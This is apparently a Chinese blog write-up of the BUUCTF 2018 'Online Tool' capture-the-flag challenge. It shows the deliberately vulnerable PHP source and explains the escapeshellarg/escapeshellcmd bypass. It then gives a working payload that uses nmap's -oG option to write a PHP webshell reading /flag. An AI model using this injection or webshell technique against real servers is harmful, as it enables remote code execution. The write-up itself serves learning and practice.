[BUUCTF 2018]Online Tool

 1 <?php
 2 
 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
 4     $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
 5 }
 6 
 7 if(!isset($_GET['host'])) {
 8     highlight_file(__FILE__);
 9 } else {
10     $host = $_GET['host'];
11     $host = escapeshellarg($host);
12     $host = escapeshellcmd($host);
13     $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
14     echo 'you are in sandbox '.$sandbox;
15     @mkdir($sandbox);
16     chdir($sandbox);
17     echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
18 }

刚看到这道题无从下手,查看了其他大佬的博客后才明白,总结一下大佬的笔记:

问题出于当escapeshellarg函数和escapeshellcmd函数按顺序执行时,会存在绕过问题
具体原理参考文章:http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

简单来说

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

所以经过我们构造之后,输入的值被分割成为了三部分,第一部分就是curl的IP,为172.17.0.2\ ,第二部分就是两个配对的单引号 ' ' ,第三部分就是命令参数以及对象 -v -d a=1'
同时,为了构造命令读取flag,我们应当从nmap入手,查资料可以知道,nmap有一个参数-oG可以实现将命令和结果写到文件
构造payload,我们可以写入小马,然后蚁剑连接,也可以直接获取flag

?host=' <?php echo `cat /flag`;?> -oG 2.php '

执行后会返回文件夹名

 

 直接访问文件上图红框中的目录加上2.php,便可获取flag

 

 

 

posted @ 2020-07-06 21:50  GTX690M  阅读(260)  评论(0编辑  收藏  举报